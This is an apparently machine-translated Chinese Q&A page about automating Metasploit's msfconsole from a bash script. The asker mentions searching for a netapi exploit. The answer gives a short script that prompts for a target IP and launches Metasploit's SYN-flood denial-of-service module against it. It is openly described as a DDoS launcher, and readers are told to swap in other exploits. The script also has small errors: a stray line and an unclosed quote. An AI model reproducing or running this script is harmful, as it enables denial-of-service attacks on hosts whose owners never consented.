编写脚本以在控制台内运行命令

时间:2017-04-22 18:58:42

标签: linux scripting metasploit

我正在编写脚本来自动化met​​asploit现在我的脚本工作正常,直到我需要在终端上运行的命令但是当我尝试运行我必须在metasploit控制台内执行的命令时脚本会停止,直到我手动退出控制台,然后它将从下一行恢复。

当您运行metasploit时,它会在终端内打开一个控制台(msfconsole),您可以在其中运行命令。

如何在我的脚本中添加特定命令以在控制台内运行?

这些是我想要运行的命令:

msfconsole (this command starts the metasploit console, this command works fine in the script)
search netapi (This searches the exploit i want to use, now this command is to be entered inside the console which my script cannot do)

在此之后需要在控制台中输入所有命令,控制台看起来像这样:msf>

1 个答案:

答案 0 :(得分:2)

我认为你正在寻找像这样的东西

    #!/bin/bash
    TARGET
    echo " Choose who to DDoS (IP address ONLY), use nslookup < URL> to get IP address"
    read TARGET
    msfconsole -q -x "use auxiliary/dos/tcp/synflood;set RHOST $TARGET; exploit;

这将启动msfconsole,使用/ dos / tcp / synflood辅助并在目标上启动DDOS攻击,这是用户的IP地址类型。 您可以编写其他脚本来使用此方案自动化met​​asploit,只需更改漏洞和变量即可 别忘了做chmod a + x yourscript.sh以允许执行 另请看这个:https://www.offensive-security.com/metasploit-unleashed/writing-meterpreter-scripts/